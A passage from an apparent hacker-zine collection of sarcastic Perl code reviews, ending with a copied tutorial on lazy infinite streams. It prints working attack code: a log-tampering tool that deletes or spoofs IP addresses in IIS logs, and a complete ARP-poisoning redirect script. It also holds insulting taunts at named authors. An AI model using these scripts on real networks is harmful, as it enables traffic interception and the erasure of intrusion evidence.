2392 while (<FILE>)
2393 {
2394 ##
2395 # Yes, he actually spaced it like this.
2396 ##
2397 $ranip=randomip();
2398 s/$opt_t/$ranip/;
2399 push(@templog,$_);
2400 next;
2401 }
2402
2403 close FILE;
2404 open (FILE2, ">$logfile") || die ("couldn't open.\n");
2405 ##
2406 # Wheeee! Another bad call to open()!
2407 ##
2408 print FILE2"@templog";
2409 ##
2410 # Yes, that was actually spaced like that.
2411 ##
2412 close FILE2;
2413}
2414#######
2415
2416if ($opt_s ne "")
2417{
2418 ##
2419 # This looks familiar...
2420 # Here's an idea, Mr. Whitehat genuis, why not open the file, run it through a while() loop,
2421 # and *then* check and see what arguments you were given, and do the needed actions. Makes sense, eh?
2422 # Cuts back on redundant code, and makes it look like you actually know something.
2423 ##
2424 open (FILE, "$logfile");
2425
2426 while (<FILE>)
2427 {
2428 s/$opt_t/$opt_s/;
2429 push(@templog,$_);
2430 next;
2431 }
2432
2433 close FILE;
2434 open (FILE2, ">$logfile") || die("couldn't open");
2435 print FILE2"@templog";
2436 close FILE2;
2437}
2438#######
2439
2440if ($opt_r ne "")
2441{
2442 ##
2443 # Please, make it stop...
2444 ##
2445 open (FILE, "$logfile");
2446
2447 while (<FILE>)
2448 {
2449 $ranip=randomip();
2450 s/((\d+)\.(\d+)\.(\d+)\.(\d+))/$ranip/;
2451 push(@templog,$_);
2452 next;
2453 }
2454
2455 close FILE;
2456 open (FILE2, ">$logfile") || die("couldn't open");
2457 print FILE2"@templog";
2458 close FILE2;
2459}
2460#######
2461
2462if ($opt_d ne "")
2463{
2464 ##
2465 # I'm not even going to bother...
2466 ##
2467 open (FILE, "$logfile");
2468
2469 while (<FILE>)
2470 {
2471 if (/.*$opt_d.*/)
2472 {
2473 next;
2474 }
2475 push(@templog,$_);
2476 next;
2477 }
2478
2479 close FILE;
2480 open (FILE2, ">$logfile") || die("couldn't open");
2481 print FILE2"@templog";
2482 close FILE2;
2483}
2484#######
2485
2486sub usage
2487{
2488 print "\nLogz v1.0 - Microsoft Windows Multi-purpose Log Modification Utility\n";
2489 print "Developed by: James C. Foster for BlackHat Windows 2004\n";
2490 print "Idea Generated and Presented by: James C. Foster and Makr Burnett\n\n";
2491 print "Usage: $0 [-options *]\n\n";
2492 print "\t-h\t\tHelp menu\n";
2493 print "\t-d ipAddress\t: Delete Log Entries with the Corresponding IP address\n";
2494 print "\t-r\t\t: Replace all IP addresses with Random IP addresses\n";
2495 print "\t-t targetIP\t: Replace the Target Address (with random IP addresses if none is specified)\n";
2496 print "\t-s spoofedIP\t: Use this IP Address to replace the Target Address (optional)\n";
2497 print "\t-l logfile\t: Logfile You Wish to Manipulate\n\n";
2498 print "\tExample: logz.pl -r -l IIS.log\n";
2499 print "\t logz.pl -t 10.1.1.1 -s 20.2.3.219 -l myTestLog.txt\n";
2500 print "\t logz.pl -d 192.10.9.14 IIS.log\n";
2501
2502 ##
2503 # Wow, you devoted more time to the usage() subroutine than you did to the actual body of the script!
2504 # Congrats!
2505 # You whitehats disgust me. Saying that The "Idea was Generated and Presented" by you.
2506 # Wow! What a brain wave! Let's use a scripting language with powerful built in string parsing
2507 # and manipulation features to make a log editor! Then we can market it!! Smells like $$$ !!!
2508 # Get a clue. And BTW, we have a little something called qq(). Jesus.
2509 # Make an effort to learn the language next time.
2510 ##
2511}
2512
2513sub randomip
2514{
2515 ##
2516 # Hmm, aren't some of these scalars considered special variables?
2517 ##
2518 $a = num();
2519 $b = num();
2520 $c = num();
2521 $d = num();
2522 $dot = '.';
2523 $total = "$a$dot$b$dot$c$dot$d";
2524 ##
2525 # ... HAHAHAHAHAHAHAH
2526 # I haven't laughed that hard since rave got owned in h0no3!!
2527 # my $total = $a . "." . $b . "." . $c . "." . $d;
2528 ##
2529 return $total;
2530}
2531
2532sub num
2533{
2534 ##
2535 # Because this *clearly* needed its own subroutine.
2536 ##
2537 $random = int( rand(230)) + 11;
2538 return $random;
2539}
2540
2541
2542This was pathetic. I hope someone owns you and drops your spools.
2543
2544
2545~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2546-rw------- 1 puyou puyou 3072 2007-02-26 18:12 laugh/jon_erickson.txt
2547~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2548
2549<Hobbes> You know, there are times when it's a source of personal pride to not be human.
2550
2551Jon Erickson is the founder of Phiral laboratories, and the authour of the
2552popular book, Hacking: The Art of Exploitation. He's published some impressive
2553works, and clearly knows his kung-foo (so to speak). However, his Perl appears
2554to be.... lacking. At best.
2555
2556The following appeared on pages 154 - 155 of Hacking: The Art of Exploitation.
2557
2558#!/usr/bin/perl
2559
2560##
2561# No lexical variables?
2562# No warnings?
2563##
2564
2565$device = "eth0";
2566
2567$SIG{INT} = \&cleanup;
2568$flag = 1;
2569$gw = shift;
2570$targ = shift;
2571
2572##
2573# Hey you know shift!
2574##
2575
2576if (($gw . "." . $targ) !~ /^([0-9]{1,3}\.){7}[0-9]{1,3}$/)
2577{ # Perform input validation; if bad, exit.
2578 die("Usage arpredirect.pl <gateway> <target>\n");
2579}
2580
2581##
2582# Some nasty parens on die there.
2583##
2584
2585# Quickly ping each target to put the MAC addresses in cache
2586print "Pinging $gw and $targ to retrieve MAC addresses...\n";
2587
2588##
2589# Hey, look, its quoted scalars!
2590##
2591
2592system("ping -1 -c 1 -w 1 $gw > /dev/null");
2593system("ping -q -c 1 -w 1 $targ > /dev/null");
2594
2595# Pull those addresses from the arp cache
2596print "Retrieving MAC addresses from arp cache...\n";
2597
2598##
2599# It's lines like these next ones that indicate to me that
2600# you do indeed know Perl, and yet you somehow make elementry mistakes.
2601##
2602
2603$gw_mac = qx[/sbin/arp -na $gw];
2604$gw_mac = substr($gw_mac, index(gw_mac, ":")-2, 17);
2605$targ_mac = qx[/sbin/arp -na $targ];
2606$targ_mac = substr($targ_mac, index($targ_mac, ":")-2, 17);
2607
2608# If they're both not there, exit.
2609if($gw_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
2610{
2611 die("MAC address of $gw not found.\n");
2612}
2613
2614##
2615# More parens!
2616##
2617
2618if($targ_mac !~ /^([A-F0-9]{2}\:){5}[A-F0-9]{2}$/)
2619{
2620 die("MAC address of $targ not found.\n");
2621}
2622
2623# Get your IP and MAC
2624print "Retrieving your IP and MAC info from ifconfig...\n";
2625@ifconf = split(" ", qx[/sbin/ifconfig $device]);
2626$me = substr(@ifconf[6], 5);
2627$me_mac = @ifconf[4];
2628
2629print "[*] Gateway: $gw is at $gw_mac\n";
2630print "[*] Target: $targ is at $targ_mac\n";
2631print "[*] You: $me is at $me_mac.\n";
2632
2633##
2634# Lose the quotes.
2635##
2636
2637while($flag)
2638{ # Continue poisoning until ctrl-C
2639 print "Redirecting: $gw -> $me_mac <- $targ";
2640 system("nemesis arp -r -d $device -S $gw -D $targ -h $me_mac -m $targ_mac -H $me_mac -M $targ_mac");
2641 system("nemesis arp -r -d $device -S $targ -D $gw -h $me_mac -m $gw_mac -H $me_mac -M $gw_mac");
2642 sleep 10;
2643 ##
2644 # Essentially, you're doing while(1). The $flag scalar doesn't seem needed at all,
2645 # especially not with the signal handeler you setup.
2646 # And lose the quotes on those scalars!
2647 ##
2648
2649}
2650
2651sub cleanup
2652{ # Put things back to normal
2653 $flag = 0;
2654 ##
2655 # Definatly the best way to do that.
2656 ##
2657
2658 print "Ctrl-C caught, exitting cleanly.\nPutting arp caches back to normal.";
2659 system("nemesis arp -r -d $device -S $gw -D $targ -h $gw_mac -m $targ_mac -H $gw_mac -M $targ_mac");
2660 system("nemesis arp -r -d $device -S $targ -D $gw -h $targ_mac -m $gw_mac -H $targ_mac -M $gw_mac");
2661 ##
2662 # Right in here you could put a die, and then completly get rid of that $flag nonsense
2663 # Great job, I can see you put alot of thought into that...
2664 ##
2665}
2666
2667
2668Frankly, I had higher expectations Jon.
2669
2670
2671~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2672-rw------- 1 puyou puyou 26922 2007-02-26 18:12 school/mjd.txt
2673~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2674
2675
2676 Infinite lists in Perl
2677
2678Many of the objects we deal with in programming are at least
2679conceptually infinite---the input from the Associated Press newswire,
2680for example, or the log output from a web server, or the digits of pi.
2681There's a general principle in programming that you should model things
2682as simply and as straightforwardly as possible, so that if an object
2683is infinite, you should model it as being infinite, with an infinite
2684data structure.
2685
2686Of course, you can't have an infinite data structure, can you? After
2687all, the computer only has a finite amount of memory. But that
2688doesn't matter. We're all mortal, and so we, and our programs,
2689wouldn't really know an infinite data structure if we saw one. All
2690that's really necessary is to have a data structure that behaves *as
2691if* it were infinite.
2692
2693A Unix pipe is a great example of such an object---think of a pipe
2694that happens to be connected to the standard output of the `yes'
2695program. From the man page:
2696
2697 `yes' prints the command line arguments, separated by spaces and
2698 followed by a newline, forever until it is killed.
2699
2700The output of `yes' might not be infinite, but it's a credible
2701imitation. So is the output of `tail -f /var/log/syslog'.
2702
2703In this article I'll demonstrate a Perl data structure, the `Stream',
2704that behaves as if it were infinite. You can keep pulling data out of
2705this data structure, and it might never run out. Streams can be
2706filtered, just like Unix data streams can be filtered with `grep', and
2707they can be transformed and merged, just like Unix streams.
2708Programming with streams is a lot like programming with pipelines in
2709the shell---you can construct a simple stream, then transform and
2710filter it to get the stream you really want. This means that if
2711you're used to programming with pipelines, programming with streams
2712can feel very familiar.
2713
2714As an example of a problem that's easy to solve with streams, we'll
2715look at:
2716
2717
2718 HAMMING'S PROBLEM
2719
2720Hamming wants an efficient algorithm that generates the list, in
2721 i j k
2722ascending order, of all numbers of the form 2 3 5 for i,j,k at least
27230. This list is called the /Hamming sequence/. The list begins like
2724this:
2725
2726 1 2 3 4 5 6 8 9 10 12 15 16 18 ...
2727
2728Just for concreteness, let's say we want the first three thousand of
2729these. This problem was popularized by Edsger Dijkstra.
2730
2731There's an obvious brute force technique: Take the first number you
2732haven't checked yet, divide it by 2's, 3's and 5's until you can't do
2733that any more, and if you're left with 1, then the number should go on
2734the list; otherwise throw it away and try the next number. So:
2735
2736 * Is 19 on the list? No, because it's not divisible by 2, 3, or 5.
2737 * Is 20 on the list? Yes, because after we divide it by 2, 2, and 5,
2738 we're left with 1.
2739 * Is 21 on the list? No, because after we divide it by 3, we're left
2740 with 7, which isn't divisible by 2, 3, or 5.
2741
2742This obvious technique has one problem: it's unbelievably slow. The
2743problem is that most numbers aren't on the list, and you waste an
2744immense amount of time discovering that. Although the numbers at the
2745beginning of the list are pretty close together, the 2,999th number in
2746the list is 278,628,139,008. Even if you had enough time to wait for
2747the brute-force algorithm to check all the numbers up to
2748278,628,139,008, think how much longer you'd have to wait for it to
2749finally find the 3,000 number in the sequence, which is 278,942,752,080.
2750
2751It can be surprisingly difficult to solve this problem efficiently with
2752conventional programming techniques. But it turns out to be easy with
2753the techniques in this article.
2754
2755
2756 Streams
2757
2758
2759A stream is like the stream that comes out of a garden hose, except
2760that instead of water coming out, data items come out, one after the
2761other. The stream is like a source for data. Whenever you need
2762another data item, you can pull one out of the stream, which will keep
2763producing data on demand forever, or until it runs out. The key point
2764is that unlike an array, which has all the data items stored away
2765somewhere, the stream computes the data just as they're needed, at the
2766moment your program asks for them, so that it never takes any more
2767space or time than necessary. You can't have an array of all the odd
2768integers, because it would have to be infinitely long and consume an
2769infinite amount of memory. But you can have a stream of all the odd
2770integers, and pull as many odd integers out of it as you need, because
2771it only computes the odd numbers one at a time as you ask for them.
2772
2773We'll return to Hamming's problem a little later, when we've seen
2774streams in more detail.
2775
2776Now, unlike a Perl list, a stream is more like a linked list, which
2777means that it is made of `nodes'. Each node has two parts: The
2778/head/, which contains a data item at the front of the stream, and the
2779/tail/, which points to the next node in the stream. In Perl, we'll
2780implement this as a hash with two members. If $node is such a hash,
2781then $node{h} will be the head, and $node{t} will be the tail. The
2782tail will usually be a reference to another such node. A stream will
2783be a long linked list of these nodes, like this:
2784
2785 head tail head tail head tail
2786 +-----+-----+ +-----+-----+ +-----+-----+
2787 | | | | | | | | |
2788 | foo | *------->| 3 | *------->| bar | *------> . . .
2789 | | | | | | | | |
2790 +-----+-----+ +-----+-----+ +-----+-----+
2791
2792
2793
2794
2795 The stream ('foo', 3, 'bar', ...).
2796
2797
2798Now we still have the problem of how to have an infinite stream,
2799because clearly we can't construct an infinite number of these nodes.
2800But here's the secret: a stream node might not have a tail---the tail
2801might not have been computed yet. If a stream doesn't have a tail, it
2802has a /promise/ instead. The promise is a promise from the program to
2803you. The program promises to compute the next node if you ever need
2804the data item that would be in the head of the next node:
2805
2806 ____________
2807 +-----+-----+ +-----+-----+ +-----+-----+ / /\
2808 | | | | | | | | | |I'll do it |/
2809 | foo | *------->| 3 | *------->| bar | *------>|when and if|
2810 | | | | | | | | | |you need it|
2811 +-----+-----+ +-----+-----+ +-----+-----+ | |
2812 | Love, Perl|
2813 _|__________ |
2814 \___________\/
2815
2816 The stream ('foo', 3, 'bar', ...), no details obscured this time.
2817
2818
2819How can we program a promise? Perl doesn't have promises, right? But
2820it has something like them. Here's how to make a promise to compute
2821an expression:
2822
2823 $promise = sub { EXPRESSION };
2824
2825Perl doesn't compute the value of the expression right away; instead
2826it constructs an anonymous function which will compute the expression
2827and return the value when we call the function:
2828
2829 $value = &$promise; # Evaluate EXPRESSION
2830
2831That's just what we want. When we want to promise to compute
2832something without computing it, we'll just wrap it up in an anonymous
2833function, and then when we want to collect on the promise, we'll call
2834the function.
2835
2836How can we tell when a value is a promise? In our simple examples,
2837we'll just look to see if it's a reference to a function:
2838
2839 if (ref $something eq CODE) { # It's a promise... }
2840
2841In a real project, we might do something a little more elaborate, like
2842inventing a `Promise' package with Promise objects, but in this
2843article, we'll just stick with plain vanilla CODE refs.
2844
2845Here's a simple function to construct a stream node. It expects two
2846arguments, a head and a tail. The tail argument should either be
2847another stream, or it should be a promise to compute one. It then
2848takes the head and the tail, puts them into an anonymous hash with `h'
2849and `t' members, and blesses the hash into the `Stream' package:
2850
2851 package Stream;
2852
2853 sub new {
2854 my ($package, $head, $tail) = @_;
2855 bless { h => $head, t => $tail } => $package;
2856 }
2857
2858The `head' method to return the head of a stream is easy to implement
2859now. We just return the `h' member from the hash:
2860
2861 sub head { $_[0]{h} }
2862
2863The `tail' method for returning the tail of a stream is a little more
2864complicated because it has to deal with two possibilities: If the tail
2865of the stream is another stream , `tail' can return it right away.
2866But if the tail is a promise, then the `tail' function must collect on
2867the promise and compute the real tail before it can return it.
2868
2869 sub tail {
2870 my $tail = $_[0]{t};
2871 if (ref $tail eq CODE) { # It's a promise
2872 $_[0]{t} = &$tail(); # Collect on the promise
2873 }
2874 $_[0]{t};
2875 }
2876
2877We should also have a notation for an empty stream, or for a stream
2878that has run out of data, just in case we want finite streams as well
2879as infinite ones. If a stream is empty, we'll represent it with a
2880node that is missing the usual `h' and `t' members, and which instead
2881has an `e' member, to show that it's empty. Here's a function to
2882construct an empty stream:
2883
2884 sub empty {
2885 my $pack = ref(shift()) || Stream;
2886 bless {e => 'I am empty.'} => $pack;
2887 }
2888
2889And here's a function that tells you whether a stream is empty or not:
2890
2891 sub is_empty { exists $_[0]{e} }
2892
2893
2894These functions, and all the other functions in this article, are
2895available in http://www.plover.com/~mjd/perl/Stream.pm.
2896
2897Let's see an example of how to use this. Here is a function that
2898constructs an interesting stream: You give it a reference to a
2899function, $f, and a number, $n, and it constructs the stream of all
2900numbers of the form f(n), f(n+1), f(n+2), ...
2901
2902 sub tabulate {
2903 my $f = shift;
2904 my $n = shift;
2905 Stream->new(&$f($n),
2906 sub { &tabulate($f, $n+1) }
2907 )
2908 }
2909
2910How does it work? The first element of the stream is just f(n), which
2911in Perl notation is &$f($n).
2912
2913Rather than computing all the rest of the elements of the table (there
2914are an infinite number of them, after all) this function promises to
2915compute more if we want them. The promise is the
2916
2917 sub { &tabulate($f, $n+1) }
2918
2919part; it's a function, which, if invoked, will call `tabulate' again, to
2920compute all the values from $n+1 on up. Of course, it won't really
2921compute *all* the values from $n+1 on up; it'll just compute f(n+1), and
2922give back a promise to compute f(n+2) and the rest if they're needed.
2923
2924Now we can do an example:
2925
2926 sub square { $_[0] * $[0] }
2927 $squares = &tabulate( \&square, 1);
2928
2929The `show' utility, supplied in Streams.pm, prints out the first few
2930elements of a stream---the first ten, if you don't say otherwise:
2931
2932 $squares->show;
2933 1 4 9 16 25 36 49 64 81 100
2934
2935Let's add a little debugging to `tabulate' so we can see better what's
2936going on. This version of `tabulate' is the same as the one above,
2937except that it prints an extra line of output just before it calls the
2938function `f':
2939
2940 sub tabulate {
2941 my $f = shift;
2942 my $n = shift;
2943 print STDERR "-- Computing f($n)\n"; # For debugging
2944 Stream->new(&$f($n),
2945 sub { &tabulate($f, $n+1) }
2946 )
2947 }
2948
2949 $squares = &tabulate( \&square, 1);
2950 -- Computing f(1)
2951 $squares->show(5);
2952 1 -- Computing f(2)
2953 4 -- Computing f(3)
2954 9 -- Computing f(4)
2955 16 -- Computing f(5)
2956 25 -- Computing f(6)
2957 $squares->show(6);
2958 1 4 9 16 25 36 -- Computing f(7)
2959 $squares->show(5);
2960 1 4 9 16 25
2961
2962Something interesting happened when we did show(6) up there---the
2963stream object only called the `tabulate' function once, to compute the
2964square of 7. The other 6 elements had already been computed and
2965saved, so it didn't need to compute them again. Similarly, the second
2966time we did show(5), the program didn't need to call `tabulate' at
2967all; it had already computed and saved the first five squares and it
2968just printed them out. Saving computed function values in this way is
2969called `memoization'.
2970
2971Someday, we could come along and do
2972
2973 $squares->show(1_000_000_000);
2974
2975and the stream would compute 999,999,993 squares for us, but until we
2976ask for them, it won't, and that saves space and time. That's called
2977`lazy evaluation'.
2978
2979To solve Hamming's problem, we need only one more tool, called `merge'.
2980`merge' is a function which takes two streams of numbers in ascending
2981order and merges them together into one stream of numbers in ascending
2982order, eliminating duplicates. For example, merging
2983
2984 1 3 5 7 9 11 13 15 17 ...
2985with
2986 1 4 9 16 25 36 ...
2987yields
2988 1 3 4 5 7 9 11 13 15 16 17 19 ...
2989
2990 sub merge {
2991 my $s1 = shift;
2992 my $s2 = shift;
2993 return $s2 if $s1->is_empty;
2994 return $s1 if $s2->is_empty;
2995 my $h1 = $s1->head;
2996 my $h2 = $s2->head;
2997 if ($h1 > $h2) {
2998 Stream->new($h2, sub { &merge($s1, $s2->tail) });
2999 } elsif ($h1 < $h2) {
3000 Stream->new($h1, sub { &merge($s1->tail, $s2) });
3001 } else { # heads are equal
3002 Stream->new($h1, sub { &merge($s1->tail, $s2->tail) });
3003 }
3004 }
3005
3006
3007 HAMMING'S PROBLEM
3008
3009Now we have enough tools to solve Hamming's problem! Here's how
3010we'll do it. We're going to construct a stream which has the numbers
3011we want in it. How can we do that?
3012
3013We know that the first element of the Hamming sequence is 1.
3014That's easy. The rest of the sequence is made up of multiples of 2,
3015multiples of 3, and multiples of 5.
3016
3017Let's think about the multiples of 2 for a minute. Here's the Hamming
3018sequence, with multiples of 2 marked with *'s:
3019
3020 * * * * * * * *
3021 1 2 3 4 5 6 8 9 10 12 15 16 18 ...
3022
3023Now here's the Hamming sequence again, with every element multiplied
3024by 2:
3025
3026 2 4 6 8 10 12 16 18 20 24 30 32 36 ...
3027
3028Notice how the second row of numbers contains all of the starred
3029numbers from the first row---If a number is even, and it's a Hamming
3030number, then it's two times some other Hamming number. That means
3031that if we had the Hamming sequence hanging around, we could multiple
3032every number in it by 2, and that would give us all the even Hamming
3033numbers. We could do the same thing with 3 and 5 instead of 2. By
3034multiplying the Hamming sequence by 2, by 3, and by 5, and merging
3035those three sequences together, we'd get a sequence that contained all
3036the Hamming numbers that were multiples of 2, 3, and 5. That's all of
3037them, except for 1, which we could just tack on the front. This is
3038how we'll solve our problem.
3039
3040Let's build a function that takes a stream and multiplies every
3041element in it by a constant:
3042
3043 # Multiply every number in a stream `$self' by a constant factor `$n'
3044 sub scale {
3045 my $self = shift;
3046 my $n = shift;
3047 return &empty if $self->is_empty;
3048 Stream->new($self->head * $n,
3049 sub { $self->tail->scale($n) });
3050 }
3051
3052
3053Here's the solution to the Hamming sequence problem: We use `scale'
3054to scale the Hamming sequence by 2, by 3, and by 5, we merge those
3055three streams together, and we tack a 1 on the front, and the result
3056is the Hamming sequence:
3057
3058
3059 # Construct the stream of Hamming's numbers.
3060 sub hamming {
30611 my $href = \1; # Dummy reference
30622 my $hamming = Stream->new(
30633 1,
30644 sub { &merge($$href->scale(2),
30655 &merge($$href->scale(3),
30666 $$href->scale(5))) });
30677 $href = \$hamming; # Reference is no longer a dummy
30688 $hamming;
3069 }
3070
3071Line 1 creates a reference to the scalar `1'. We're not interested in
3072this `1', but we need a reference variable around to use to refer to
3073$hamming so that we can include it in the calls to `merge'. After
3074we've defined the anonymous subroutine (lines 4--6) which uses
3075`$href', we pull a switcheroo and make $href refer to $hamming (line
30767) instead of to the irrelevant `1' value.
3077
3078
3079This function works, and it's efficient:
3080
3081 &hamming()->show(20);
3082 1 2 3 4 5 6 8 9 10 12 15 16 18 20 24 25 30 32 36 40
3083
3084It only takes a few minutes to compute three thousand Hamming numbers,
3085even on my dinky P75 computer.
3086
3087We could make this more efficient by fixing up `merge' to merge three
3088streams instead of two, but that's left as an exercise for Our Most
3089Assiduous Reader.
3090
3091
3092 DATA FLOW PROGRAMMING
3093
3094The great thing about streams is that you can treat them as sources of
3095data, and you can compute with these sources by merging and filtering
3096data streams; these is called a `data flow' paradigm. If you're a
3097Unix programmer, you're probably already familiar with the data flow
3098paradigm, because programming with pipelines in the shell is the same
3099thing.
3100
3101Here's an example of a function, `filter', that accepts one stream as
3102an argument, filters out all the elements from it that we don't want,
3103and returns a stream of the elements we do want---it does for streams
3104what the Unix `grep' program does for pipes, or what the Perl `grep'
3105function does for lists.
3106
3107`filter's second argument is a `predicate' function that returns true
3108or false depending on whether it's applied to an argument we do or
3109don't want:
3110
3111 # Return a stream on only the interesting elements of $arg.
3112 sub filter {
3113 my $stream = shift;
3114
3115 # Second argument is a predicate function that returns true
3116 # only when passed an interesting element of $stream.
3117 my $predicate = shift;
3118
3119 # Look for next interesting element
3120 while (! $stream->is_empty && ! &$predicate($stream->head)) {
3121 $stream = $stream->tail;
3122 }
3123
3124 # If we ran out of stream, return the empty stream.
3125 return &empty if $stream->is_empty;
3126
3127 # Construct new stream with the interesting element at its head
3128 # and the rest of the stream, appropriately filtered,
3129 # at its tail.
3130 Stream->new($stream->head,
3131 sub { $stream->tail->filter($predicate) }
3132 );
3133 }
3134
3135
3136Let's find perfect squares that are multiples of 5:
3137
3138 sub is_multiple_of_5 { $_[0] % 5 == 0 }
3139 $squares->filter(\&is_multiple_of_5)->show(6);
3140 25 100 225 400 625 900
3141
3142You could do all sorts of clever things with this:
3143
3144 * If $input were a stream whose elements were the lines of input to
3145 your program, you could construct
3146 $input->filter(sub {$_[0] =~ /PATTERN/}),
3147 the stream of input lines that matched a certain pattern.
3148
3149 * If $queens were a stream that produced arrangements of eight
3150 queens on a chessboard, you could build a filter that checked each
3151 arrangement to see if any queens attacked one another, and then
3152 you'd have a stream of solutions to the famous eight-queens
3153 problem. If you wanted only one solution, you could ask for
3154 ->show(1), and your program would stop as soon as it had found a
3155 single solution; if you wanted all the solutions, you could ask
3156 for ->show(ALL).
3157
3158Here's a particularly clever application: We can use filtering to
3159compute a stream of prime numbers:
3160
3161 sub prime_filter {
3162 my $s = shift;
3163 my $h = $s->head;
3164 Stream->new($h, sub { $s->tail
3165 ->filter(sub { $_[0] % $h })
3166 ->prime_filter()
3167 });
3168 }
3169
3170To use this, you apply it to the stream of integers
3171starting at 2:
3172 2 3 4 5 6 7 8 9 ...
3173
3174The first thing it does is to pull the 2 off the front and returns
3175that, but it also filters the tail of the stream and throws away all
3176the elements that are divisible by 2. Then, it gets the next
3177available element, that's 3, and returns that, and filters the rest of
3178the stream (which was already missing the even numbers) to throw away
3179the elements that are divisible by 3. Then it pulls the next element
3180off the front, that's 5... and so on.
3181
3182If we're going to have fun with this, we need to start it off with
3183that stream of numbers that begins at 2:
3184
3185 $iota2 = &tabulate(sub {$_[0]}, 2);
3186 $iota2->show;
3187 2 3 4 5 6 7 8 9 10 11
3188 $primes = $iota2->prime_filter
3189 $primes->show;
3190 2 3 5 7 11 13 17 19 23 29
3191
3192This isn't the best algorithm for computing primes, but it is the
3193oldest---it's called the Sieve of Eratosthenes and it was invented about
31942,300 years ago.
3195
3196Exercise for mathematically inclined readers: What's interesting
3197about this stream:
3198
3199 &tabulate(sub {$_[0] * 3 + 1}, 1)->prime_filter
3200
3201There are a very few basic tools that we need to make good use of
3202streams. `filter' was one; it filters uninteresting elements out of a
3203stream. Similarly, `transform' takes one stream and turns it into
3204another. If you think of `filter' as a stream version of Perl's
3205`grep' function, you should think of `transform' as the stream version
3206of Perl's `map' function:
3207
3208 sub transform {
3209 my $self = shift;
3210 return &empty if $self->is_empty;
3211
3212 my $map_function = shift;
3213 Stream->new(&$map_function($self->head),
3214 sub { $self->tail->transform($map_function) }
3215 );
3216 }
3217
3218If we'd known about `transform' when we wrote `hamming' above, we would
3219never have built a separate `scale' function; instead of $s->scale(2)
3220we might have written $s->transform(sub { $_[0] * 2 }).
3221
3222 $squares->transform(sub { $_[0] * 2 })->show(5)
3223 2 8 18 32 50
3224
3225We'll see a more useful use of this a little further down.
3226
3227Here are a couple of very Perlish streams, presented without discussion:
3228
3229 # Stream of key-value pairs in a hash
3230 sub eachpair {
3231 my $hr = shift;
3232 my @pair = each %$hr;
3233 if (@pair) {
3234 Stream->new([@pair], sub {&eachpair($hr)});
3235 } else { # There aren't any more
3236 ∅
3237 }
3238 }
3239
3240 # Stream of input lines from a filehandle
3241 sub input {
3242 my $fh = shift;
3243 my $line = <$fh>;
3244 if ($line eq '') {
3245 ∅
3246 } else {
3247 Stream->new($line, sub {&input($fh)});
3248 }
3249 }
3250
3251 # Get first 3 lines of standard input that contain `hello'
3252 @hellos = &input(STDIN)->filter(sub {$_[0] =~ /hello/i})->take(3);
3253
3254`iterate' takes a function and applies it to an argument, then applies
3255the function to the result, then the the new result, and so on:
3256
3257 # compute n, f(n), f(f(n)), f(f(f(n))), ...
3258 sub iterate {
3259 my $f = shift;
3260 my $n = shift;
3261
3262 Stream->new($n, sub { &iterate($f, &$f($n)) });
3263 }
3264
3265
3266One use for `iterate' is to build a stream of pseudo-random numbers:
3267 # This is the RNG from the ANSI C standard
3268 sub next_rand { int(($_[0] * 1103515245 + 12345) / 65536) % 32768 }
3269 sub rand {
3270 my $seed = shift;
3271 &iterate(\&next_rand, &next_rand($seed));
3272 }
3273 &rand(1)->show;
3274 16838 14666 10953 11665 7451 26316 27974 27550 31532 5572
3275 &rand(1)->show;
3276 16838 14666 10953 11665 7451 26316 27974 27550 31532 5572
3277 &rand(time)->show
3278 28034 22040 18672 28664 13341 15205 10064 17387 18320 32588
3279 &rand(time)->show
3280 13922 629 7230 7835 4162 23047 1022 5549 14194 25896
3281
3282Some people in comp.lang.perl.misc pointed out that Perl's built-in
3283random number generator doesn't have a good interface, because it
3284should be seeded once, but there's no way for two modules written by
3285different authors to agree on which one should provide the seed.
3286Also, two or more independent modules drawing random numbers from the
3287same source may reduce the randomness of the numbers that each of them
3288gets. But with random numbers from streams, you can manufacture as
3289many independent random number generators as you want, and each part
3290of your program can have its own, and use it without interfering with
3291the random numbers generated by other parts of your program.
3292
3293Suppose you want random numbers between 1 and 10 only?
3294Just use `transform':
3295
3296 $rand = &rand(time)->transform(sub {$_[0] % 10 + 1});
3297 $rand->show(20);
3298 1 5 8 2 8 10 4 7 3 10 3 6 3 8 8 9 7 7 8 8
3299
3300Of course, if we do $rand->show(20) again, we'll get exactly the same
3301numbers. There are an infinite number of random numbers in $rand, but
3302the first 20 are always the same. We can get to some fresh elements
3303with `drop':
3304
3305 $rand = $rand->drop(10);
3306
3307This is such a common operation, that we have a shorthand for it:
3308
3309 $rand->discard(10);
3310
3311We can also use `iterate' to investigate the `hailstone numbers',
3312which star in a famous unsolved mathematical problem, the `Collatz
3313conjecture'. The hailstone question is this: Start with any number,
3314say `n'. If n is odd, multiply it by 3 and add 1; if it's even,
3315divide it by 2. Repeat forever. Depending on where you start, one of
3316three things will happen:
3317
3318 1. You will eventually fall into the loop 4, 2, 1, 4, 2, 1, ...
3319 2. You will eventually fall into some other loop.
3320 3. The numbers will never loop; they will increase without
3321 bound forever.
3322
3323The unsolved question is: Are there any numbers that *don't* fall
3324into the 4-2-1 loop?
3325
3326 # Next number in hailstone sequence
3327 sub next_hail {
3328 my $n = shift;
3329 ($n % 2 == 0) ? $n/2 : 3*$n + 1;
3330 }
3331
3332 # Hailstone sequence starting with $n
3333 sub hailstones {
3334 my $n = shift;
3335 &iterate(\&next_hail, $n);
3336 }
3337
3338 &hailstones(15)->show(23);
3339 15 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1 4 2 1 4 2
3340
3341`iterate_chop' takes the infinite stream produced by `iterate', and
3342chops off the tail before the sequence starts to repeat itself.
3343
3344 &hailstones(15)->iterate_chop->show(ALL);
3345 15 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2
3346
3347By counting the length of the resulting stream, we can see how long it
3348took the hailstone sequence to start repeating:
3349 print &hailstones(15)->iterate_chop->length;
3350 17
3351
3352Of course, you need to be careful not to ask for the length of an
3353infinite stream!
3354
3355Clearly, you could solve these same problems without streams, but
3356oftentimes it's simpler to express your problem in terms of filtering
3357and merging of data streams, as it was with Hamming's problem. With
